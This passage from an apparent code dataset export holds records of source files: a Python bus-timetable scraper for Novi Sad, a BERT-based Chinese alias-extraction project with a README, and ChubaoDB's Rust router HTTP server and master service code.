= date.isoformat()\nexcept:\n pass\n\nif tfr not in ['to', 'from']:\n usage(sys.argv[0])\n sys.exit(1)\n\ntok = get_token()\n\ndef polasci():\n _time_tk = re.compile(\n r'''<td align=center>(?P<depart>[^<]+)</td>\\s+<td align=center>(?P<arrive>[^<]+)</td>\\s+<td>(?P<prevoz>[^<]+)</td>\\s+<td>(?P<linija>[^<]+)</td>\\s+<td align=right>(?P<peron>[^<]+)</td>\\s+<td align=right>(?P<cena>[^<]+)''')\n\n post_data={\n 'zadan': date,\n 'pd': 'p',\n 'linija[]': dest,\n '_token': tok\n }\n\n rsp = ses.post(URL_MM, data=post_data)\n\n for m in _time_tk.finditer(rsp.text):\n depart_hr, depart_min = m.group('depart').split(':')\n depart = datetime.datetime.strptime(date, '%Y-%m-%d') + datetime.timedelta(hours=int(depart_hr), minutes=int(depart_min))\n arrive = datetime.datetime.strptime(m.group('arrive'), '%d.%m.%Y %H:%M')\n print(depart, '|', arrive, '|', m.group('prevoz'))\n\ndef dolasci():\n _time_tk = re.compile(\n r'''<td align=center>(?P<arrive>[^<]+)</td>\\s+<td align=right>(?P<kilometr>[^<]+)</td>\\s+<td align=right>(?P<duration>[^<]+)</td>\\s+<td>(?P<prevoz>[^<]+)</td>\\s+<td>(?P<linija>[^<]+)</td>''')\n \n post_data={\n 'zadan': date,\n 'pd': 'd',\n 'linija[]': dest,\n '_token': tok\n }\n\n rsp = ses.post(URL_MM, data=post_data)\n\n for m in _time_tk.finditer(rsp.text):\n arrive_hr, arrive_min = m.group('arrive').split(':')\n arrive = datetime.datetime.strptime(date, '%Y-%m-%d') + datetime.timedelta(hours=int(arrive_hr), minutes=int(arrive_min))\n depart = arrive - datetime.timedelta(minutes=float(m.group('duration')))\n print(depart, '|', arrive, '|', m.group('prevoz'))\n\n\nif tfr == 'to':\n polasci()\nelse:\n dolasci()" }, { "alpha_fraction": 0.7168458700180054, "alphanum_fraction": 0.7180406451225281, "avg_line_length": 27.86206817626953, "blob_id": "975571b78bb3d96cb6cfd394bc996ab49c2cc5d7", "content_id": "b43744cd3f0d9719ea4654d3aad8b0c011c3a506", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 837, "license_type": "no_license", "max_line_length": 143, "num_lines": 29, "path": "/README.md", "repo_name": "profMagija/rv", "src_encoding": "UTF-8", "text": "# Red Voznje\n\nGet bus timetables for Novi Sad Bus Station.\n\nThe code scrapes the MAS/GSPNS website for data, so it's pretty dependant on the format returned by the site, and may break on any site update.\n\n## Usage\n\n```sh\n./rv.py <to|from> <other-city> <date>\n```\n\n- `to|from` selects either departures from NS **to** other-city, or **from** other-city to NS.\n- `other-city` the city to travel from/to\n- `date` either ISO format (`year-month-date`) date of travel, or an integer offset from today. Defaults to today.\n\nFor example, to get buses from Novi Sad to Valjevo for today, run:\n\n```sh\n./rv.py to VALJEVO\n```\n\nand to get buses Valjevo-Novi Sad tommorow:\n\n```sh\n./rv.py from VALJEVO 1\n```\n\nParameters are case-insensitive, but city spelling is important. Check [here](http://gspns.rs/red-voznje-medjumesni) for exact name spellings.\n" } ]
2
Payiz-2022/alias_find_system
https://github.com/Payiz-2022/alias_find_system
138639fec9fff43926f06af817ff74eabca2b2ee
eec48227af28478457412d2953c13b14564e67bb
5a68128029a2e49075b471fbbedeb03e4009e219
refs/heads/master
2023-07-26T09:13:27.422795
2021-09-06T16:11:32
2021-09-06T16:11:32
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6067653298377991, "alphanum_fraction": 0.641649067401886, "avg_line_length": 30.5, "blob_id": "e424b98325d83c24da1240386bb84c896e4b071f", "content_id": "215794e1f2cdbc7c49f3b8963b3e1c5118cff119", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1008, "license_type": "no_license", "max_line_length": 71, "num_lines": 30, "path": "/data/data_report.py", "repo_name": "Payiz-2022/alias_find_system", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# @Time : 2021/9/2 13:46\n# @Author : Jclian91\n# @File : data_report.py\n# @Place : Yangpu, Shanghai\nimport json\nfrom random import shuffle\n\nwith open(\"ccf2019_corpus.json\", \"r\", encoding=\"utf-8\") as f:\n content = json.loads(f.read())\n\nwith open(\"sougouqa_webqa_corpus.json\", \"r\", encoding=\"utf-8\") as f:\n content.extend([_ for _ in json.loads(f.read()) if _[\"spo\"][0][0]])\n\n# 简单数据统计\nprint(f\"共有{len(content)}条标注样本\")\nprint(\"data review for last 10 samples: \")\nfor example in content[-10:]:\n print(example)\n\n# 将数据集划分为训练集和测试集,比列为8:2\nshuffle(content)\ntrain_data = content[:int(len(content)*0.8)]\ntest_data = content[int(len(content)*0.8):]\nwith open(\"alias_train.json\", \"w\", encoding=\"utf-8\") as f:\n for _ in train_data:\n f.write(json.dumps(_, ensure_ascii=False)+\"\\n\")\nwith open(\"alias_test.json\", \"w\", encoding=\"utf-8\") as f:\n for _ in test_data:\n f.write(json.dumps(_, ensure_ascii=False)+\"\\n\")\n\n" }, { "alpha_fraction": 0.6235867142677307, "alphanum_fraction": 0.6411550045013428, "avg_line_length": 33.0236701965332, "blob_id": "e3704a7fd36ca6656b50512258a440898fb76533", "content_id": "d3ef3be5b3ca90f1a76248a4af7d77bd581dc2ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6003, "license_type": "no_license", "max_line_length": 107, "num_lines": 169, "path": "/model_predict.py", "repo_name": "Payiz-2022/alias_find_system", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# @Time : 2021/9/5 23:54\n# @Author : Jclian91\n# @File : model_predict.py\n# @Place : Yangpu, Shanghai\n# -*- coding: utf-8 -*-\n\nimport json\nimport numpy as np\nfrom bert4keras.backend import K, batch_gather\nfrom bert4keras.layers import Loss\nfrom bert4keras.layers import LayerNormalization\nfrom bert4keras.tokenizers import Tokenizer\nfrom bert4keras.models import build_transformer_model\nfrom bert4keras.optimizers import Adam, extend_with_exponential_moving_average\nfrom bert4keras.snippets import open, to_array\nfrom keras.layers import Input, Dense, Lambda, Reshape\nfrom keras.models import Model\n\n\nmaxlen = 200\nconfig_path = './chinese-RoBERTa-wwm-ext/bert_config.json'\ncheckpoint_path = './chinese-RoBERTa-wwm-ext/bert_model.ckpt'\ndict_path = './chinese-RoBERTa-wwm-ext/vocab.txt'\n\npredicate2id, id2predicate = {}, {}\n\nwith open('./data/alias_schema', \"r\", encoding=\"utf-8\") as f:\n for l in f:\n l = json.loads(l)\n if l['predicate'] not in predicate2id:\n id2predicate[len(predicate2id)] = l['predicate']\n predicate2id[l['predicate']] = len(predicate2id)\n\n# 建立分词器\ntokenizer = Tokenizer(dict_path, do_lower_case=True)\n\n# 补充输入\nsubject_labels = Input(shape=(None, 2), name='Subject-Labels')\nsubject_ids = Input(shape=(2,), name='Subject-Ids')\nobject_labels = Input(shape=(None, len(predicate2id), 2), name='Object-Labels')\n\n# 加载预训练模型\nbert = build_transformer_model(\n config_path=config_path,\n checkpoint_path=checkpoint_path,\n return_keras_model=False,\n)\n\n# 预测subject\noutput = Dense(\n units=2, activation='sigmoid', kernel_initializer=bert.initializer\n)(bert.model.output)\nsubject_preds = Lambda(lambda x: x**2)(output)\n\nsubject_model = Model(bert.model.inputs, subject_preds)\n\n\n# 根据subject_ids从output中取出subject的向量表征\ndef extract_subject(inputs):\n output, subject_ids = inputs\n start = batch_gather(output, subject_ids[:, :1])\n end = batch_gather(output, subject_ids[:, 1:])\n subject = K.concatenate([start, end], 2)\n return subject[:, 0]\n\n\n# 传入subject,预测object\n# 通过Conditional Layer Normalization将subject融入到object的预测中\noutput = bert.model.layers[-2].get_output_at(-1)\nsubject = Lambda(extract_subject)([output, subject_ids])\noutput = LayerNormalization(conditional=True)([output, subject])\noutput = Dense(\n units=len(predicate2id) * 2,\n activation='sigmoid',\n kernel_initializer=bert.initializer\n)(output)\noutput = Lambda(lambda x: x**4)(output)\nobject_preds = Reshape((-1, len(predicate2id), 2))(output)\n\nobject_model = Model(bert.model.inputs + [subject_ids], object_preds)\n\n\nclass TotalLoss(Loss):\n \"\"\"subject_loss与object_loss之和,都是二分类交叉熵\n \"\"\"\n def compute_loss(self, inputs, mask=None):\n subject_labels, object_labels = inputs[:2]\n subject_preds, object_preds, _ = inputs[2:]\n if mask[4] is None:\n mask = 1.0\n else:\n mask = K.cast(mask[4], K.floatx())\n # sujuect部分loss\n subject_loss = K.binary_crossentropy(subject_labels, subject_preds)\n subject_loss = K.mean(subject_loss, 2)\n subject_loss = K.sum(subject_loss * mask) / K.sum(mask)\n # object部分loss\n object_loss = K.binary_crossentropy(object_labels, object_preds)\n object_loss = K.sum(K.mean(object_loss, 3), 2)\n object_loss = K.sum(object_loss * mask) / K.sum(mask)\n # 总的loss\n return subject_loss + object_loss\n\n\nsubject_preds, object_preds = TotalLoss([2, 3])([\n subject_labels, object_labels, subject_preds, object_preds,\n bert.model.output\n])\n\n# 训练模型\ntrain_model = Model(\n bert.model.inputs + [subject_labels, subject_ids, object_labels],\n [subject_preds, object_preds]\n)\n\nAdamEMA = extend_with_exponential_moving_average(Adam, name='AdamEMA')\noptimizer = AdamEMA(lr=1e-5)\ntrain_model.compile(optimizer=optimizer)\n\n\ntrain_model.load_weights('./models/alias_best_model.weights')\n\n\n# 抽取输入text所包含的三元组\ndef extract_spoes(text):\n\n tokens = tokenizer.tokenize(text, maxlen=maxlen)\n mapping = tokenizer.rematch(text, tokens)\n token_ids, segment_ids = tokenizer.encode(text, maxlen=maxlen)\n token_ids, segment_ids = to_array([token_ids], [segment_ids])\n # 抽取subject\n subject_preds = subject_model.predict([token_ids, segment_ids])\n start = np.where(subject_preds[0, :, 0] > 0.6)[0]\n end = np.where(subject_preds[0, :, 1] > 0.5)[0]\n subjects = []\n for i in start:\n j = end[end >= i]\n if len(j) > 0:\n j = j[0]\n subjects.append((i, j))\n if subjects:\n spoes = []\n token_ids = np.repeat(token_ids, len(subjects), 0)\n segment_ids = np.repeat(segment_ids, len(subjects), 0)\n subjects = np.array(subjects)\n # 传入subject,抽取object和predicate\n object_preds = object_model.predict([token_ids, segment_ids, subjects])\n for subject, object_pred in zip(subjects, object_preds):\n start = np.where(object_pred[:, :, 0] > 0.6)\n end = np.where(object_pred[:, :, 1] > 0.5)\n for _start, predicate1 in zip(*start):\n for _end, predicate2 in zip(*end):\n if _start <= _end and predicate1 == predicate2:\n spoes.append(\n ((mapping[subject[0]][0],\n mapping[subject[1]][-1]), predicate1,\n (mapping[_start][0], mapping[_end][-1]))\n )\n break\n return [(text[s[0]:s[1] + 1], id2predicate[p], text[o[0]:o[1] + 1])\n for s, p, o, in spoes]\n else:\n return []\n\n\nif __name__ == '__main__':\n new_text = \"机场三字代码简称“三字代码”,由国际航空运输协会(IATA ,International Air Transport Association)制定、用于代表全世界大多数机场的代码。\"\n print(extract_spoes(new_text))" }, { "alpha_fraction": 0.6920903921127319, "alphanum_fraction": 0.7542372941970825, "avg_line_length": 15.880952835083008, "blob_id": "dcff7798c02b8ae0c69b461db21c08255a9f99a3", "content_id": "1b8e9584bfb9f3d6345ec049f65e326ed8a1a089", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1512, "license_type": "no_license", "max_line_length": 120, "num_lines": 42, "path": "/README.md", "repo_name": "Payiz-2022/alias_find_system", "src_encoding": "UTF-8", "text": "别名发现系统\n\n### 项目说明\n\n别名发现在日常生活、知识图谱及搜索推荐中有重要应用。\n\n本项目使用深度学习方法去发现非结构化文本中的别名与简称(或称缩略语),比如下面的例子:\n\n```\n卡定沟:又名嘎定沟,位于西藏318国道拉萨至林芝段距八一镇24公里处,海拔2980米,地处雅鲁藏布江支流尼洋河畔\n```\n\n发现别名为:`(卡定沟, 别名, 嘎定沟)`。\n\n本文将会提供别名发现的语料以及相应的深度学习模型,即使用关系抽取模型作为别名发现的模型。\n\n### 语料说明\n\n本项目最大的贡献在于提供人工标注的高质量别名语料,`本项目于2021年8月11日启动,长期维护`,由于是个人维护,故更新较慢。\n\n本项目的语料来源见下表(源语料已经由作者使用程序加工处理过,因此下面语料只表明别名语料的出处):\n\n|文件名称|数据来源|标注样本数量|\n|---|---|---|\n|data/ccf2019_corpus.json|CCF2019年关系抽取比赛数据|3369|\n|data/sougouqa_webqa_corpus.json|阅读理解数据(WebQA & SougouQA)|160|\n\n### 模型训练\n\n训练集数据:测试集数据=8:2\n\nmaxlen=200, batch_size=8, epoch=20, 使用Google Colab训练(预训练模型为`哈工大的中文Roberta模型: chinese-RoBERTa-wwm-ext`), 在测试集上的F1值为87.18%\n\n### 模型预测\n\n```\n\n```\n\n### 备注\n\n语料维护费时费力,因此可能会存在一定错误,如有问题,请及时指出。" } ]
3
NLPchina/chubaodb
https://github.com/NLPchina/chubaodb
fddbe36ffd516032fe0b3df1c44b6b847147913f
b5abd5f01bdc494ad8b7906bfa3546a4944eae64
84a5749a94b356c14babc87ef22cb260160833cf
refs/heads/master
2023-06-22T07:19:34.505908
2020-07-20T14:19:05
2020-07-20T14:19:05
270,606,391
0
1
Apache-2.0
2020-06-08T09:23:21
2020-06-08T09:23:23
2020-06-08T09:24:48
null
[ { "alpha_fraction": 0.4944573938846588, "alphanum_fraction": 0.4977545440196991, "avg_line_length": 25.815547943115234, "blob_id": "de1d65171eb031719cc384a660f9f4acd3140449", "content_id": "2e9e8ab714d712e3e0c409367c6f89ff6f10bea5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 17591, "license_type": "permissive", "max_line_length": 103, "num_lines": 656, "path": "/src/router/server.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use std::sync::{mpsc::Sender, Arc};\n\nuse actix_web::{web, App, HttpRequest, HttpResponse, HttpServer};\nuse log::{error, info};\nuse prost::Message;\nuse serde::{Deserialize, Serialize};\nuse serde_json::{json, Value};\n\nuse crate::*;\n// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserverpb::*;\nuse crate::router::service::RouterService;\nuse crate::util::{config, error::*};\n\n#[actix_rt::main]\npub async fn start(tx: Sender<String>, conf: Arc<config::Config>) -> std::io::Result<()> {\n info!(\n \"router is listening on http://0.0.0.0:{}\",\n conf.router.http_port\n );\n\n let arc_service = Arc::new(\n RouterService::new(conf.clone())\n .await\n .expect(format!(\"router failed to connect the master \",).as_str()),\n );\n\n HttpServer::new(move || {\n App::new()\n .data(arc_service.clone())\n .route(\"/\", web::get().to(domain))\n .route(\"/get/{collection_name}/{id}\", web::get().to(get))\n .route(\"/put/{collection_name}/{id}\", web::post().to(put))\n .route(\"/update/{collection_name}/{id}\", web::post().to(update))\n .route(\"/upsert/{collection_name}/{id}\", web::post().to(upsert))\n .route(\"/create/{collection_name}/{id}\", web::post().to(create))\n .route(\"/delete/{collection_name}/{id}\", web::delete().to(delete))\n .route(\"/search/{collection_names}\", web::get().to(search_by_get))\n .route(\"/search/{collection_names}\", web::post().to(search_by_post))\n .route(\"/agg/{collection_names}\", web::get().to(agg_by_get))\n .route(\"/agg/{collection_names}\", web::post().to(agg_by_post))\n .route(\"/count/{collection_name}\", web::get().to(count))\n })\n .bind(format!(\"0.0.0.0:{}\", conf.router.http_port))?\n .run()\n .await\n .unwrap();\n\n let _ = tx.send(String::from(\"router has been over\"));\n\n Ok(())\n}\n\nasync fn domain() -> HttpResponse {\n HttpResponse::build(Code::Success.http_code()).body(json!({\n \"chubaodb\":\"router is runing\",\n \"version\":config::VERSION,\n \"git_version\": config::GIT_VERSION,\n }))\n}\n\n#[derive(Serialize, Deserialize, Clone)]\npub struct DocumentQuery {\n pub version: Option<i64>,\n pub sort_key: Option<String>,\n}\n\nasync fn write(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n bytes: Option<web::Bytes>,\n query: DocumentQuery,\n wt: i32,\n) -> HttpResponse {\n let collection_name: String = req\n .match_info()\n .get(\"collection_name\")\n .unwrap()\n .parse()\n .unwrap();\n let id: String = req.match_info().get(\"id\").unwrap().parse().unwrap();\n\n let bytes = match bytes {\n Some(v) => v.to_vec(),\n None => Vec::default(),\n };\n\n match rs\n .write(\n collection_name,\n id,\n query.sort_key.unwrap_or(String::default()),\n query.version.unwrap_or(0),\n bytes,\n wt,\n )\n .await\n {\n Ok(s) => HttpResponse::build(Code::Success.http_code()).json(gr_to_json(s)),\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\nasync fn create(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<DocumentQuery>,\n bytes: web::Bytes,\n) -> HttpResponse {\n write(\n rs,\n req,\n Some(bytes),\n query.into_inner(),\n WriteType::Create as i32,\n )\n .await\n}\n\nasync fn put(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<DocumentQuery>,\n bytes: web::Bytes,\n) -> HttpResponse {\n write(\n rs,\n req,\n Some(bytes),\n query.into_inner(),\n WriteType::Put as i32,\n )\n .await\n}\n\nasync fn update(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<DocumentQuery>,\n bytes: web::Bytes,\n) -> HttpResponse {\n write(\n rs,\n req,\n Some(bytes),\n query.into_inner(),\n WriteType::Update as i32,\n )\n .await\n}\n\nasync fn upsert(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<DocumentQuery>,\n bytes: web::Bytes,\n) -> HttpResponse {\n write(\n rs,\n req,\n Some(bytes),\n query.into_inner(),\n WriteType::Upsert as i32,\n )\n .await\n}\n\nasync fn delete(\n rs: web::Data<Arc<RouterService>>,\n query: web::Query<DocumentQuery>,\n req: HttpRequest,\n) -> HttpResponse {\n write(rs, req, None, query.into_inner(), WriteType::Delete as i32).await\n}\n\nasync fn get(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<DocumentQuery>,\n) -> HttpResponse {\n let collection_name: String = req\n .match_info()\n .get(\"collection_name\")\n .unwrap()\n .parse()\n .unwrap();\n let id: String = req.match_info().get(\"id\").unwrap().parse().unwrap();\n\n match rs\n .get(\n collection_name,\n id,\n query.into_inner().sort_key.unwrap_or(String::default()),\n )\n .await\n {\n Ok(s) => HttpResponse::build(Code::Success.http_code()).json(doc_to_json(s)),\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\nasync fn count(rs: web::Data<Arc<RouterService>>, req: HttpRequest) -> HttpResponse {\n let collection_name: String = req\n .match_info()\n .get(\"collection_name\")\n .unwrap()\n .parse()\n .unwrap();\n\n match rs.count(collection_name).await {\n Ok(s) => {\n HttpResponse::build(Code::Success.http_code()).json(serde_json::to_value(&s).unwrap())\n }\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\nstruct TempVectorQuery {\n pub field: Option<String>,\n pub vector: Vec<f32>,\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\nstruct Query {\n pub query: Option<String>,\n pub def_fields: Option<String>,\n pub vector_query: Option<TempVectorQuery>,\n pub size: Option<u32>,\n pub sort: Option<String>, //name:asc|age:desc\n pub fun: Option<String>,\n pub group: Option<String>,\n}\n\n// search begin\nasync fn search_by_post(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n info: web::Bytes,\n) -> HttpResponse {\n let names = req\n .match_info()\n .get(\"collection_names\")\n .unwrap()\n .parse::<String>()\n .unwrap();\n\n let query: Query = match serde_json::from_slice(&info) {\n Ok(v) => v,\n Err(e) => {\n error!(\"query parse has err:{:?}\", e);\n return HttpResponse::build(Code::ParamError.http_code())\n .body(err_def!(\"query has err:{:?}\", e).to_json());\n }\n };\n\n match _search(rs, names, query).await {\n Ok(s) => HttpResponse::build(Code::Success.http_code()).json(search_to_json(s)),\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\nasync fn search_by_get(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<Query>,\n) -> HttpResponse {\n let names = req\n .match_info()\n .get(\"collection_names\")\n .unwrap()\n .parse::<String>()\n .unwrap();\n\n let query = query.into_inner();\n\n match _search(rs, names, query).await {\n Ok(s) => HttpResponse::build(Code::Success.http_code()).json(search_to_json(s)),\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\nasync fn _search(\n rs: web::Data<Arc<RouterService>>,\n names: String,\n query: Query,\n) -> ASResult<SearchDocumentResponse> {\n let mut collection_names = Vec::new();\n\n for n in names.split(\",\") {\n let name = n.to_string();\n if name.len() == 0 {\n continue;\n }\n collection_names.push(name);\n }\n\n let sort = parse_sort(&query)?;\n\n let mut def_fields = Vec::new();\n\n match query.def_fields {\n Some(dfs) => {\n for df in dfs.split(\",\") {\n def_fields.push(df.to_string());\n }\n }\n None => {}\n };\n\n let vq = match query.vector_query {\n Some(tvq) => Some(VectorQuery {\n field: match tvq.field {\n Some(field) => field,\n None => {\n return result!(Code::ParamError, \"vector query not set field\");\n }\n },\n vector: tvq.vector,\n }),\n None => None,\n };\n\n rs.search(\n collection_names,\n def_fields,\n query.query.unwrap_or(String::from(\"*\")),\n vq,\n query.size.unwrap_or(20),\n sort,\n )\n .await\n}\n\n// agg begin\nasync fn agg_by_post(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n info: web::Bytes,\n) -> HttpResponse {\n let names = req\n .match_info()\n .get(\"collection_names\")\n .unwrap()\n .parse::<String>()\n .unwrap();\n\n let query: Query = match serde_json::from_slice(&info) {\n Ok(v) => v,\n Err(e) => {\n error!(\"query parse has err:{:?}\", e);\n return HttpResponse::build(Code::ParamError.http_code())\n .body(err_def!(\"query has err:{:?}\", e).to_json());\n }\n };\n\n match _agg(rs, names, query).await {\n Ok(s) => HttpResponse::build(Code::Success.http_code()).json(agg_to_json(s)),\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\nasync fn agg_by_get(\n rs: web::Data<Arc<RouterService>>,\n req: HttpRequest,\n query: web::Query<Query>,\n) -> HttpResponse {\n let names = req\n .match_info()\n .get(\"collection_names\")\n .unwrap()\n .parse::<String>()\n .unwrap();\n\n let query = query.into_inner();\n\n match _agg(rs, names, query).await {\n Ok(s) => HttpResponse::build(Code::Success.http_code()).json(agg_to_json(s)),\n Err(e) => HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json()),\n }\n}\n\nasync fn _agg(\n rs: web::Data<Arc<RouterService>>,\n names: String,\n query: Query,\n) -> ASResult<AggregationResponse> {\n let mut collection_names = Vec::new();\n\n for n in names.split(\",\") {\n let name = n.to_string();\n if name.len() == 0 {\n continue;\n }\n collection_names.push(name);\n }\n\n let sort = parse_sort(&query)?;\n\n let mut def_fields = Vec::new();\n\n match query.def_fields {\n Some(dfs) => {\n for df in dfs.split(\",\") {\n def_fields.push(df.to_string());\n }\n }\n None => {}\n };\n\n let vq = match query.vector_query {\n Some(tvq) => Some(VectorQuery {\n field: match tvq.field {\n Some(field) => field,\n None => {\n return result!(Code::ParamError, \"vector query not set field\");\n }\n },\n vector: tvq.vector,\n }),\n None => None,\n };\n\n rs.agg(\n collection_names,\n def_fields,\n query.query.unwrap_or(String::from(\"*\")),\n vq,\n query.size.unwrap_or(10000),\n query.group.unwrap_or(String::from(\"\")),\n query.fun.unwrap_or(String::from(\"\")),\n sort,\n )\n .await\n}\n\nfn agg_to_json(adr: AggregationResponse) -> serde_json::value::Value {\n let (success, error, message) = match adr.info {\n Some(i) => (i.success, i.error, i.message),\n None => (1, 0, String::default()),\n };\n\n let mut result = vec![];\n\n for v in adr.result {\n let jv = v\n .values\n .into_iter()\n .map(|r| match r.agg_value.unwrap() {\n agg_value::AggValue::Count(r) => json!(r),\n agg_value::AggValue::Stats(r) => json!(r),\n agg_value::AggValue::Hits(r) => json!({\n \"size\":r.size,\n \"count\":r.count,\n \"hits\": r.hits.into_iter().map(|h|hit_to_json(h).unwrap()).collect::<Vec<Value>>(),\n }),\n })\n .collect::<Vec<Value>>();\n\n result.push(json!({\n \"key\": v.key,\n \"values\":jv,\n }));\n }\n\n return json!({\n \"code\": adr.code ,\n \"total\": adr.total ,\n \"result\":result,\n \"info\":{\n \"success\": success ,\n \"error\": error ,\n \"message\": message ,\n }\n\n });\n}\n\nfn search_to_json(sdr: SearchDocumentResponse) -> serde_json::value::Value {\n let (success, error, message) = match sdr.info {\n Some(i) => (i.success, i.error, i.message),\n None => (1, 0, String::default()),\n };\n\n let mut hits = Vec::new();\n for hit in sdr.hits {\n match hit_to_json(hit) {\n Ok(v) => hits.push(v),\n Err(e) => {\n return json!({\n \"code\": Code::InternalErr as i32 ,\n \"info\": {\n \"message\":format!(\"document decoding failed:{}\", e.to_string())\n },\n })\n }\n }\n }\n\n return json!({\n \"code\": sdr.code ,\n \"total\": sdr.total ,\n \"hits\":hits,\n \"info\":{\n \"success\": success ,\n \"error\": error ,\n \"message\": message ,\n }\n\n });\n}\n\nfn hit_to_json(hit: Hit) -> ASResult<serde_json::value::Value> {\n let doc: Document = match Message::decode(prost::bytes::Bytes::from(hit.doc)) {\n Ok(d) => d,\n Err(e) => {\n return result!(\n Code::InternalErr,\n \"document decoding failed:{}\",\n e.to_string()\n );\n }\n };\n\n let source: Value = match serde_json::from_slice(doc.source.as_slice()) {\n Ok(v) => v,\n Err(e) => {\n return result!(\n Code::InternalErr,\n \"source decoding failed:{}\",\n e.to_string()\n );\n }\n };\n\n Ok(json!({\n \"score\": hit.score ,\n \"doc\":{\n \"_id\": doc.id,\n \"_sort_key\": doc.sort_key,\n \"_version\": doc.version,\n \"_source\":source,\n },\n }))\n}\n\nfn doc_to_json(dr: DocumentResponse) -> serde_json::value::Value {\n if dr.doc.len() == 0 {\n return json!({\n \"code\": dr.code ,\n \"message\": dr.message,\n });\n }\n\n let doc: Document = match Message::decode(prost::bytes::Bytes::from(dr.doc)) {\n Ok(d) => d,\n Err(e) => {\n return json!({\n \"code\": Code::InternalErr as i32 ,\n \"message\": format!(\"document decoding failed:{}\", e.to_string()),\n });\n }\n };\n\n let source: Value = match serde_json::from_slice(doc.source.as_slice()) {\n Ok(v) => v,\n Err(e) => {\n return json!({\n \"code\": Code::InternalErr as i32 ,\n \"message\": format!(\"source decoding failed:{}\", e.to_string()),\n });\n }\n };\n\n json!({\n \"code\": dr.code ,\n \"message\": dr.message,\n \"doc\":{\n \"_id\": doc.id,\n \"_sort_key\": doc.sort_key,\n \"_version\": doc.version,\n \"_source\": source,\n },\n })\n}\n\nfn gr_to_json(gr: GeneralResponse) -> serde_json::value::Value {\n json!({\n \"code\": gr.code ,\n \"message\": gr.message,\n })\n}\n\nfn parse_sort(query: &Query) -> ASResult<Vec<Order>> {\n if let Some(sort) = query.sort.as_ref() {\n sort.split(\"|\")\n .map(|s| s.split(\":\").collect::<Vec<&str>>())\n .map(|s| {\n if s.len() != 2 {\n return result!(\n Code::ParamError,\n \"sort param:[{:?}] has format has err, example:[name:asc|age:desc]\",\n s\n );\n }\n\n let name = s[0].to_owned();\n let order = s[1].to_lowercase();\n\n match order.as_str() {\n \"asc\" | \"desc\" => {}\n _ => {\n return result!(\n Code::ParamError,\n \"sort param name:{} order:{} only support asc or desc\",\n name,\n order\n )\n }\n }\n Ok(Order {\n name: name,\n order: order,\n })\n })\n .collect()\n } else {\n Ok(vec![])\n }\n}\n" }, { "alpha_fraction": 0.4823234975337982, "alphanum_fraction": 0.48663613200187683, "avg_line_length": 33.46238708496094, "blob_id": "812e604f0711a3e3b0cd2225f1843564f7e709b3", "content_id": "1ec5ed4264aee267002ad5d2506e3d0b451c9a28", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 18782, "license_type": "permissive", "max_line_length": 294, "num_lines": 545, "path": "/src/master/service.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::client::partition_client::PartitionClient;\nuse crate::client::ps_client::PsClient;\nuse crate::master::cmd::*;\nuse crate::master::meta::repository::HARepository;\nuse crate::pserverpb::*;\nuse crate::sleep;\nuse crate::util::time::*;\nuse crate::util::{coding, config::Config, entity::*, error::*};\nuse crate::*;\nuse async_std::sync::{Mutex, RwLock};\nuse log::{error, info, warn};\nuse rand::Rng;\nuse std::cmp;\nuse std::sync::Arc;\n\npub struct MasterService {\n ps_cli: PsClient,\n pub meta_service: HARepository,\n partition_lock: RwLock<usize>,\n collection_lock: Mutex<usize>,\n}\n\nimpl MasterService {\n pub fn new(conf: Arc<Config>) -> 